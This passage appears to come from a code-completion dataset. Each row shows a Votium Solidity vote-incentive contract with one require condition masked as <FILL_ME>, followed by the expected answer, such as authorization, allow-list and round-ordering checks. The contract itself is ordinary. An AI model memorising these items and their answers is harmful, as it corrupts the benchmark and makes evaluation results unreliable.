event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| incentives[_round][_gauge][_incentive].amount>0,"!withdrawn" | 81,536 | incentives[_round][_gauge][_incentive].amount>0 |
"!auth" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
require(_round <= lastRoundProcessed, "!roundNotProcessed");
require(<FILL_ME>)
require(
incentives[_round][_gauge][_incentive].distributed == 0,
"!distributed"
);
require(
incentives[_round][_gauge][_incentive].recycled == 0,
"!recycled"
);
Incentive memory original = incentives[_round][_gauge][_incentive];
uint256 currentRound = activeRound();
incentives[currentRound][_gauge].push(original);
incentives[_round][_gauge][_incentive].recycled = original.amount;
emit NewIncentive(original.token, original.amount, currentRound, _gauge, original.maxPerVote, true);
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| incentives[_round][_gauge][_incentive].depositor==msg.sender||msg.sender==owner(),"!auth" | 81,536 | incentives[_round][_gauge][_incentive].depositor==msg.sender||msg.sender==owner() |
"!allowlist" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
if (requireAllowlist == true) {
require(<FILL_ME>)
}
uint256 fee = (_amount * platformFee) / DENOMINATOR;
uint256 rewardTotal = _amount - fee;
IERC20(_token).safeTransferFrom(msg.sender, feeAddress, fee);
IERC20(_token).safeTransferFrom(msg.sender, address(this), rewardTotal);
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| tokenAllowed[_token]==true,"!allowlist" | 81,536 | tokenAllowed[_token]==true |
"!lastRoundProcessed" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
require(_gauges.length == _totals.length, "!gauges/totals");
require(_round < activeRound(), "!activeRound");
require(<FILL_ME>)
for (uint256 i = 0; i < _gauges.length; i++) {
require(votesReceived[_round][_gauges[i]] == 0, "!duplicate");
votesReceived[_round][_gauges[i]] = _totals[i];
for (
uint256 n = 0;
n < incentives[_round][_gauges[i]].length;
n++
) {
Incentive memory incentive = incentives[_round][_gauges[i]][n];
uint256 reward;
if (incentive.maxPerVote > 0) {
reward = incentive.maxPerVote * _totals[i];
if (reward >= incentive.amount) {
reward = incentive.amount;
} else {
// recycle unused reward
incentive.amount -= reward;
incentives[_round+1][_gauges[i]].push(incentive);
incentives[_round][_gauges[i]][n].recycled = incentive.amount - reward;
emit NewIncentive(incentive.token, incentive.amount, _round+1, _gauges[i], incentive.maxPerVote, true);
}
incentives[_round][_gauges[i]][n].distributed = reward;
} else {
reward = incentive.amount;
incentives[_round][_gauges[i]][n].distributed = reward;
}
toTransfer[incentive.token] += reward;
toTransferList.push(incentive.token);
}
}
lastRoundProcessed = _round;
for (uint256 i = 0; i < toTransferList.length; i++) {
if (toTransfer[toTransferList[i]] == 0) continue; // skip if already transferred
IERC20(toTransferList[i]).safeTransfer(
distributor,
(toTransfer[toTransferList[i]] *
IERC20(toTransferList[i]).balanceOf(address(this))) /
virtualBalance[toTransferList[i]] // account for rebasing tokens
);
virtualBalance[toTransferList[i]] -= toTransfer[toTransferList[i]];
toTransfer[toTransferList[i]] = 0;
}
delete toTransferList;
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| _round-1==lastRoundProcessed,"!lastRoundProcessed" | 81,536 | _round-1==lastRoundProcessed |
"!duplicate" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
require(_gauges.length == _totals.length, "!gauges/totals");
require(_round < activeRound(), "!activeRound");
require(_round - 1 == lastRoundProcessed, "!lastRoundProcessed");
for (uint256 i = 0; i < _gauges.length; i++) {
require(<FILL_ME>)
votesReceived[_round][_gauges[i]] = _totals[i];
for (
uint256 n = 0;
n < incentives[_round][_gauges[i]].length;
n++
) {
Incentive memory incentive = incentives[_round][_gauges[i]][n];
uint256 reward;
if (incentive.maxPerVote > 0) {
reward = incentive.maxPerVote * _totals[i];
if (reward >= incentive.amount) {
reward = incentive.amount;
} else {
// recycle unused reward
incentive.amount -= reward;
incentives[_round+1][_gauges[i]].push(incentive);
incentives[_round][_gauges[i]][n].recycled = incentive.amount - reward;
emit NewIncentive(incentive.token, incentive.amount, _round+1, _gauges[i], incentive.maxPerVote, true);
}
incentives[_round][_gauges[i]][n].distributed = reward;
} else {
reward = incentive.amount;
incentives[_round][_gauges[i]][n].distributed = reward;
}
toTransfer[incentive.token] += reward;
toTransferList.push(incentive.token);
}
}
lastRoundProcessed = _round;
for (uint256 i = 0; i < toTransferList.length; i++) {
if (toTransfer[toTransferList[i]] == 0) continue; // skip if already transferred
IERC20(toTransferList[i]).safeTransfer(
distributor,
(toTransfer[toTransferList[i]] *
IERC20(toTransferList[i]).balanceOf(address(this))) /
virtualBalance[toTransferList[i]] // account for rebasing tokens
);
virtualBalance[toTransferList[i]] -= toTransfer[toTransferList[i]];
toTransfer[toTransferList[i]] = 0;
}
delete toTransferList;
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| votesReceived[_round][_gauges[i]]==0,"!duplicate" | 81,536 | votesReceived[_round][_gauges[i]]==0 |
"Team only" | // SPDX-License-Identifier: MIT
// Votium
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
